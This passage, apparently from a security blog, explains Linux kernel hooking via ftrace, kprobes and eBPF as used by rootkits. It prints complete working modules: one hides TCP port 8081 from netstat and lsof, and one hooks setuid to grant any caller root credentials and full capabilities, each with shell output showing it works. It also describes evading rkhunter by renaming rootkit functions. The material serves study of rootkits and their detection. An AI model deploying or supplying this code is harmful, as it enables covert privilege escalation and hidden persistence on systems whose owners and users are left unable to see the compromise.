<p>Over time, old methods such as hijacking the syscall table and hooking a syscall from it, VFS hooking, etc., stopped being used, even for compatibility reasons, by more “current/modern” methods, such as for example using ftrace, kprobe, and even the eBPF (Extended Berkeley Packet Filter) extension of the original BPF (Berkeley Packet Filter), it is used to attach programs to various points in the kernel, including syscalls, offering a powerful way to customize and control system behavior.</p>

<h3 id="ftrace">FTrace</h3>

<p>Ftrace is an internal tracer designed to help developers and system designers find what is going on inside the kernel. The ftrace infrastructure was originally created to attach callbacks to the beginning of functions to record and track kernel flow. But these callbacks can also be used for hooking/live patching or monitoring function calls.</p>

<p>Below is a code in C using the xcellerator lib ftrace_helper.h.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/syscalls.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/tcp.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"ftrace_helper.h"</span><span class="cp">
</span>
<span class="cp">#define PORT 8081               // Defines the port to be hidden (8081)
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"mtzsec"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"Hiding connections from netstat and lsof"</span><span class="p">);</span>
<span class="n">MODULE_VERSION</span><span class="p">(</span><span class="s">"1.0"</span><span class="p">);</span>

<span class="k">static</span> <span class="n">asmlinkage</span> <span class="nf">long</span> <span class="p">(</span><span class="o">*</span><span class="n">orig_tcp4_seq_show</span><span class="p">)(</span><span class="k">struct</span> <span class="n">seq_file</span> <span class="o">*</span><span class="n">seq</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">v</span><span class="p">);</span>
<span class="k">static</span> <span class="n">asmlinkage</span> <span class="nf">long</span> <span class="p">(</span><span class="o">*</span><span class="n">orig_tcp6_seq_show</span><span class="p">)(</span><span class="k">struct</span> <span class="n">seq_file</span> <span class="o">*</span><span class="n">seq</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">v</span><span class="p">);</span>

<span class="k">static</span> <span class="n">asmlinkage</span> <span class="kt">long</span> <span class="nf">hooked_tcp4_seq_show</span><span class="p">(</span><span class="k">struct</span> <span class="n">seq_file</span> <span class="o">*</span><span class="n">seq</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">v</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">long</span> <span class="n">ret</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span> <span class="o">=</span> <span class="n">v</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">sk</span> <span class="o">!=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x1</span> <span class="o">&amp;&amp;</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_num</span> <span class="o">==</span> <span class="n">PORT</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"Port hidden!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">ret</span> <span class="o">=</span> <span class="n">orig_tcp4_seq_show</span><span class="p">(</span><span class="n">seq</span><span class="p">,</span> <span class="n">v</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="n">asmlinkage</span> <span class="kt">long</span> <span class="nf">hooked_tcp6_seq_show</span><span class="p">(</span><span class="k">struct</span> <span class="n">seq_file</span> <span class="o">*</span><span class="n">seq</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">v</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">long</span> <span class="n">ret</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span> <span class="o">=</span> <span class="n">v</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">sk</span> <span class="o">!=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x1</span> <span class="o">&amp;&amp;</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_num</span> <span class="o">==</span> <span class="n">PORT</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"Port hidden!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">ret</span> <span class="o">=</span> <span class="n">orig_tcp6_seq_show</span><span class="p">(</span><span class="n">seq</span><span class="p">,</span> <span class="n">v</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="k">struct</span> <span class="n">ftrace_hook</span> <span class="n">new_hooks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="n">HOOK</span><span class="p">(</span><span class="s">"tcp4_seq_show"</span><span class="p">,</span> <span class="n">hooked_tcp4_seq_show</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">orig_tcp4_seq_show</span><span class="p">),</span>
    <span class="n">HOOK</span><span class="p">(</span><span class="s">"tcp6_seq_show"</span><span class="p">,</span> <span class="n">hooked_tcp6_seq_show</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">orig_tcp6_seq_show</span><span class="p">),</span>
<span class="p">};</span>


<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">hideport_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">err</span><span class="p">;</span>
    <span class="n">err</span> <span class="o">=</span> <span class="n">fh_install_hooks</span><span class="p">(</span><span class="n">new_hooks</span><span class="p">,</span> <span class="n">ARRAY_SIZE</span><span class="p">(</span><span class="n">new_hooks</span><span class="p">));</span>
    <span class="k">if</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">err</span><span class="p">;</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">hideport_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">fh_remove_hooks</span><span class="p">(</span><span class="n">new_hooks</span><span class="p">,</span> <span class="n">ARRAY_SIZE</span><span class="p">(</span><span class="n">new_hooks</span><span class="p">));</span>
<span class="p">}</span>

<span class="n">module_init</span><span class="p">(</span><span class="n">hideport_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">hideport_exit</span><span class="p">);</span>
</code></pre></div></div>

<p>Basically when the system tries to list TCP connections, tcp4_seq_show or tcp6_seq_show are called, but with hooks, these calls are redirected to hooked_tcp4_seq_show or hooked_tcp6_seq_show, which check the connection port (stored in the sock structure); if the port is 8081, the function returns 0, hiding the connection, while for the other ports the original functions are called, ensuring the normal display of the TCP connection.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">nc</span> <span class="o">-</span><span class="n">lvnp</span> <span class="mi">8081</span> <span class="o">&amp;</span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="mi">56634</span>
<span class="n">listening</span> <span class="n">on</span> <span class="p">[</span><span class="n">any</span><span class="p">]</span> <span class="mi">8081</span> <span class="p">...</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">netstat</span> <span class="o">-</span><span class="n">tunlpd</span> <span class="o">|</span><span class="n">grep</span> <span class="mi">8081</span>
<span class="p">(</span><span class="n">Not</span> <span class="n">all</span> <span class="n">processes</span> <span class="n">could</span> <span class="n">be</span> <span class="n">identified</span><span class="p">,</span> <span class="n">non</span><span class="o">-</span><span class="n">owned</span> <span class="n">process</span> <span class="n">info</span>
 <span class="n">will</span> <span class="n">not</span> <span class="n">be</span> <span class="n">shown</span><span class="p">,</span> <span class="n">you</span> <span class="n">would</span> <span class="n">have</span> <span class="n">to</span> <span class="n">be</span> <span class="n">root</span> <span class="n">to</span> <span class="n">see</span> <span class="n">it</span> <span class="n">all</span><span class="p">.)</span>
<span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="o">:</span><span class="mi">8081</span>            <span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="o">:*</span>               <span class="n">LISTEN</span>      <span class="mi">56634</span><span class="o">/</span><span class="n">nc</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">lsof</span> <span class="o">-</span><span class="n">i</span> <span class="o">-</span><span class="n">P</span> <span class="o">-</span><span class="n">n</span> <span class="o">|</span><span class="n">grep</span> <span class="mi">8081</span>
<span class="n">nc</span>        <span class="mi">56634</span> <span class="n">kali</span>    <span class="mi">3u</span>  <span class="n">IPv4</span> <span class="mi">885312</span>      <span class="mi">0</span><span class="n">t0</span>  <span class="n">TCP</span> <span class="o">*:</span><span class="mi">8081</span> <span class="p">(</span><span class="n">LISTEN</span><span class="p">)</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">insmod</span> <span class="n">mtz</span><span class="p">.</span><span class="n">ko</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">lsof</span> <span class="o">-</span><span class="n">i</span> <span class="o">-</span><span class="n">P</span> <span class="o">-</span><span class="n">n</span> <span class="o">|</span><span class="n">grep</span> <span class="mi">8081</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">netstat</span> <span class="o">-</span><span class="n">tunlpd</span> <span class="o">|</span><span class="n">grep</span> <span class="mi">8081</span>
<span class="p">(</span><span class="n">Not</span> <span class="n">all</span> <span class="n">processes</span> <span class="n">could</span> <span class="n">be</span> <span class="n">identified</span><span class="p">,</span> <span class="n">non</span><span class="o">-</span><span class="n">owned</span> <span class="n">process</span> <span class="n">info</span>
 <span class="n">will</span> <span class="n">not</span> <span class="n">be</span> <span class="n">shown</span><span class="p">,</span> <span class="n">you</span> <span class="n">would</span> <span class="n">have</span> <span class="n">to</span> <span class="n">be</span> <span class="n">root</span> <span class="n">to</span> <span class="n">see</span> <span class="n">it</span> <span class="n">all</span><span class="p">.)</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span>
</code></pre></div></div>

<h3 id="kprobe">Kprobe</h3>

<p>Kprobes and Kretprobes allow you to insert ‘probes’ into kernel functions at runtime without requiring any modifications to the source code. These probes can trigger the execution of defined callback functions at specific points during the execution of a monitored function. This is particularly useful for debugging, performance monitoring, and even for security purposes like detecting malicious activity.</p>

<p>A kprobe is a kernel mechanism used to break into any kernel routine and collect debugging and performance information. A probe is inserted at a specific location in a function to perform actions like logging, modifying parameters, or even changing the control flow of the target function. Kprobes are generally used for monitoring function execution and tracing the flow of kernel code.</p>

<p>types of kprobe handlers: pre_handler - called before the probed function executes post_handler - called after the probed function executes but before the function returns to the caller</p>

<p>A kretprobe is similar to kprobes but is specifically designed for functions that return a value. It is used for tracing the return of functions, which is particularly useful when you want to inspect or modify the return value of a function. Kretprobes are inserted at the point where the function returns, allowing you to monitor or alter the return value before it is passed back to the caller.</p>

<p>types of kretprobe handlers: entry_handler - called before the probed function starts executing (similar to pre_handler in kprobes) handler - called after the probed function has executed and returned its value</p>

<p>Although kprobes and kretprobes are very useful for monitoring and debugging, attackers are able to abuse them to hook into functions in the kernel and manipulate them to behave maliciously at some point during their execution.</p>

<p>Below I will demonstrate how this can be done: <code class="language-plaintext highlighter-rouge">[guest@archlinux rk]$ cat kp_hook.c</code>`</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/atomic.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/kprobes.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/sched.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/capability.h&gt;</span><span class="cp">
</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"humzak711"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"POC kprobe hook"</span><span class="p">);</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>

<span class="n">atomic_t</span> <span class="n">hooked</span> <span class="o">=</span> <span class="n">ATOMIC_INIT</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>

<span class="cp">#define MAGIC_UID 50
</span>
<span class="cp">#define _GLOBAL_ROOT_UID 0
#define _GLOBAL_ROOT_GID 0
</span>
<span class="kt">void</span> <span class="nf">__x64_sys_setuid_post_handler</span><span class="p">(</span><span class="k">struct</span> <span class="n">kprobe</span> <span class="o">*</span><span class="n">kp</span><span class="p">,</span> <span class="k">struct</span> <span class="n">pt_regs</span> <span class="o">*</span><span class="n">regs</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">flags</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"setuid hook called, elevating privs..."</span><span class="p">);</span>

    <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">new_creds</span> <span class="o">=</span> <span class="n">prepare_creds</span><span class="p">();</span>

    <span class="cm">/* uid privesc */</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">uid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_UID</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">euid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_UID</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">suid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_UID</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">fsuid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_UID</span><span class="p">;</span>

    <span class="cm">/* gid privesc */</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">gid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_GID</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">egid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_GID</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">sgid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_GID</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">fsgid</span><span class="p">.</span><span class="n">val</span><span class="o">=</span><span class="n">_GLOBAL_ROOT_GID</span><span class="p">;</span>

    <span class="cm">/* capabilities privesc */</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">cap_inheritable</span><span class="o">=</span><span class="n">CAP_FULL_SET</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">cap_permitted</span><span class="o">=</span><span class="n">CAP_FULL_SET</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">cap_effective</span><span class="o">=</span><span class="n">CAP_FULL_SET</span><span class="p">;</span>
    <span class="n">new_creds</span><span class="o">-&gt;</span><span class="n">cap_bset</span><span class="o">=</span><span class="n">CAP_FULL_SET</span><span class="p">;</span>
    <span class="n">commit_creds</span><span class="p">(</span><span class="n">new_creds</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">struct</span> <span class="n">kprobe</span> <span class="n">__x64_sys_setuid_hook</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">symbol_name</span> <span class="o">=</span> <span class="s">"__x64_sys_setuid"</span><span class="p">,</span>
        <span class="p">.</span><span class="n">post_handler</span> <span class="o">=</span> <span class="n">__x64_sys_setuid_post_handler</span><span class="p">,</span>
<span class="p">};</span>

<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">rkin</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"module loaded</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">registered</span> <span class="o">=</span> <span class="n">register_kprobe</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__x64_sys_setuid_hook</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">registered</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"failed to register kprobe</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"hooked</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">atomic_inc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hooked</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">rkout</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">atomic_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hooked</span><span class="p">))</span>
    <span class="p">{</span>
        <span class="n">unregister_kprobe</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__x64_sys_setuid_hook</span><span class="p">);</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"unhooked</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="n">module_init</span><span class="p">(</span><span class="n">rkin</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">rkout</span><span class="p">);</span>
</code></pre></div></div>

<p>The code above, initially will register a kprobe to hook the function “__x64_sys_setuid” (the setuid syscall), in the kprobe it registers it with a post handler which will be executed just as the hooked function will be about to return. When the post handler is executed, it’ll elevate the callers privileges by elevating their uid’s aswell as their gid’s and capabilities: <code class="language-plaintext highlighter-rouge">[guest@archlinux rk]$ cat main.c</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Current UID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getuid</span><span class="p">());</span>

    <span class="c1">// set UID to root (0)</span>
    <span class="n">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"UID after setuid: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getuid</span><span class="p">());</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And here we have some userland C code to test the setuid hook: <code class="language-plaintext highlighter-rouge">[guest@archlinux rk]$ cat Makefile</code>`</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>obj-m += kp_hook.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean[guest@archlinux rk]$
</code></pre></div></div>

<p>and now lets run this code</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">guest</span><span class="err">@</span><span class="n">archlinux</span> <span class="n">rk</span><span class="p">]</span><span class="err">$</span> <span class="n">make</span>
<span class="p">[</span><span class="n">guest</span><span class="err">@</span><span class="n">archlinux</span> <span class="n">rk</span><span class="p">]</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">insmod</span> <span class="n">kp_hook</span><span class="p">.</span><span class="n">ko</span>

<span class="p">[</span><span class="n">guest</span><span class="err">@</span><span class="n">archlinux</span> <span class="n">rk</span><span class="p">]</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">rmmod</span> <span class="n">kp_hook</span><span class="p">.</span><span class="n">ko</span>
<span class="p">[</span><span class="n">guest</span><span class="err">@</span><span class="n">archlinux</span> <span class="n">rk</span><span class="p">]</span><span class="err">$</span> <span class="n">make</span> <span class="n">clean</span>

<span class="p">[</span><span class="n">guest</span><span class="err">@</span><span class="n">archlinux</span> <span class="n">rk</span><span class="p">]</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">dmesg</span>
<span class="p">[</span> <span class="mi">8068</span><span class="p">.</span><span class="mi">408831</span><span class="p">]</span> <span class="n">module</span> <span class="n">loaded</span>
<span class="p">[</span> <span class="mi">8068</span><span class="p">.</span><span class="mi">409809</span><span class="p">]</span> <span class="n">hooked</span>

<span class="p">[</span><span class="n">guest</span><span class="err">@</span><span class="n">archlinux</span> <span class="n">rk</span><span class="p">]</span><span class="err">$</span> <span class="p">.</span><span class="o">/</span><span class="n">main</span>
<span class="n">Current</span> <span class="n">UID</span><span class="o">:</span> <span class="mi">1000</span>
<span class="n">UID</span> <span class="n">after</span> <span class="n">setuid</span><span class="o">:</span> <span class="mi">0</span>

<span class="p">[</span><span class="n">guest</span><span class="err">@</span><span class="n">archlinux</span> <span class="n">rk</span><span class="p">]</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">dmesg</span>
<span class="p">[</span> <span class="mi">8068</span><span class="p">.</span><span class="mi">408831</span><span class="p">]</span> <span class="n">module</span> <span class="n">loaded</span>
<span class="p">[</span> <span class="mi">8068</span><span class="p">.</span><span class="mi">409809</span><span class="p">]</span> <span class="n">hooked</span>
<span class="p">[</span> <span class="mi">8354</span><span class="p">.</span><span class="mi">503130</span><span class="p">]</span> <span class="n">setuid</span> <span class="n">hook</span> <span class="n">called</span><span class="p">,</span> <span class="n">elevating</span> <span class="n">privs</span><span class="p">...</span>
</code></pre></div></div>

<p>Usually, the userland process would not have changed its setuid to 0 since it did not run with high enough privileges, however, our registered kprobes post handler intercepted the execution of the function and elevated the processes privileges.</p>

<h3 id="ebpf">eBPF</h3>
<p>eBPF (extended Berkeley Packet Filter) is a powerful and flexible tool in Linux that allows programs to monitor various events or trace points in the kernel without needing to load a kernel module. eBPF allows you to monitor events such as system calls, network events, or specific kernel functions. It allows you to monitor and trace kernel behavior with minimal overhead, making it ideal for performance monitoring, security auditing, and debugging.</p>

<p>eBPF can be used in a variety of contexts, allowing us to make use of different types of hooks. These hooks enable you to attach code to predefined kernel events, allowing you to inspect or modify the behavior of the kernel at a low level. Some common typesof hooks which you can use with eBPF are kprobes/kretprobes, tracepoints, LSM hooks, and fentry/fexit hooks.</p>

<p>For these reasons eBPF is a very widely used tool when it comes to linux security, both on the defensive side and the offensive side. eBPF is widely used by security solutions to conduct monitoring in a manner which is safe and allows them to have low level control. However, eBPF is also widely used by attackers since it gives them a large variety of different ways to hook into functions in the kernel to modify their behaviour and run malicious code.</p>

<p>Below I will demonstrate how an attacker can utilise eBPF to hook into a function in the kernel, without even requiring a kernel module: <code class="language-plaintext highlighter-rouge">[guest@archlinux ebpf]$ cat unlinkat.c</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define BPF_NO_GLOBAL_DATA
#include</span> <span class="cpf">"vmlinux.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;bpf/bpf_helpers.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;bpf/bpf_tracing.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;bpf/bpf_core_read.h&gt;</span><span class="cp">
</span>
<span class="kt">char</span> <span class="n">LICENSE</span><span class="p">[]</span> <span class="n">SEC</span><span class="p">(</span><span class="s">"license"</span><span class="p">)</span> <span class="o">=</span> <span class="s">"GPL"</span><span class="p">;</span>

<span class="n">SEC</span><span class="p">(</span><span class="s">"kprobe/do_unlinkat"</span><span class="p">)</span>
<span class="kt">int</span> <span class="nf">kprobe__sys_unlinkat</span><span class="p">(</span><span class="k">struct</span> <span class="n">pt_regs</span> <span class="o">*</span><span class="n">regs</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">bpf_printk</span><span class="p">(</span><span class="s">"hooked unlinkat"</span><span class="p">);</span>

    <span class="k">struct</span> <span class="n">filename</span> <span class="o">*</span><span class="n">name</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">filename</span> <span class="o">*</span><span class="p">)</span><span class="n">PT_REGS_PARM2</span><span class="p">(</span><span class="n">regs</span><span class="p">);</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">filename</span> <span class="o">=</span> <span class="n">BPF_CORE_READ</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>

    <span class="n">bpf_printk</span><span class="p">(</span><span class="s">"intercepted filename: %s"</span><span class="p">,</span> <span class="n">filename</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This C code is very simple, it will utilise eBPF to hook the unlinkat syscall by using a kprobe to hook the do_unlinkat function. It will then log all filenames passed to the syscall to the bpf ring buffer: <code class="language-plaintext highlighter-rouge">[guest@archlinux ebpf]$ cat run.sh</code>`</p>

<p>#!/bin/bash
sudo ./ecc unlinkat.c
sudo ./ecli run package.json</p>

<blockquote>
  <p>You can install <code class="language-plaintext highlighter-rouge">ecc</code> at <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[guest@archlinux ebpf]$ sudo bash run.sh 
INFO [ecc_rs::bpf_compiler] Compiling bpf object… 
INFO [ecc_rs::bpf_compiler] Generating package json.. 
INFO [ecc_rs::bpf_compiler] Packing ebpf object and config into package.json… 
INFO [faerie::elf] strtab: 0x4c0 symtab 0x4f8 relocs 0x540 sh_offset 0x540 
INFO [bpf_loader_lib::_skeleton::poller] Running ebpf program…

[guest@archlinux ~]$ touch test.txt &amp;&amp; rm test.txt

[guest@archlinux ~]$ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-13901 
[001] …21 20740.285757: bpf_trace_printk: hooked unlinkat rm-13901 
[001] …21 20740.285759: bpf_trace_printk: intercepted filename: test.txt
</code></pre></div></div>

<h3 id="lkm">LKM</h3>
<p>Detecting an LKM rootkit is very difficult, and mitigation is even more complex. Tools like rkhunter and chkrootkit are very obsolete because they use silly detection techniques, especially rkhunter which is signature-based, so if you take, for example, the diamorphine rootkit that is in the rkhunter database, and change the name of the functions, you can easily bypass it, including, it saves a log file in <code class="language-plaintext highlighter-rouge">/var/log/rkhunter.log</code>, in which you can see exactly the strings/signatures it search.</p>

<p>Furthermore, I spent time studying how to detect, even more remove, an LKM rootkit that is invisible, without needing any opensource or paid tools, just using kernel features, and creating codes, in which I came to two conclusions that will be in the next chapter.</p>

<h3 id="sysfs">sysfs</h3>
<p>This filesystem is really good when it comes to detecting LKM rootkits. Most of them can be detected there. However, of course, it’s possible to prevent an LKM rootkit from appearing there, but the majority of them can still be detected. I will use two rootkits as examples: KoviD and Basilisk.</p>

